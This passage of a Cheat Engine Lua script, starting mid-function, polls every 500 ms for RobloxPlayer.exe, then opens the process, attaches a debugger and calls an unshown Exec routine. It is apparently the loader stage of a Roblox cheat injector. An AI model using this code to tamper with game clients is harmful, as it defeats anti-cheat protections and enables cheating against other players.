		for i, v in pairs(NoRun) do
			if v == id then
				return
			end
		end
		table.insert(NoRun, id);
		openProcess(id);
		debugProcess(2);
		Exec();
	else
		local id2 = getProcessIDFromProcessName("RobloxPlayer.exe");
		if id2 ~= nil then
			for i, v in pairs(NoRun) do
				if v == id2 then
					return
				end
			end
			table.insert(NoRun, id2);
			openProcess(id2);
			debugProcess(2);
			Exec();
		end
	end
end

t = createTimer(nil)
timer_setInterval(t, 500)
timer_onTimer(t, myCheck)
timer_setEnabled(t, true)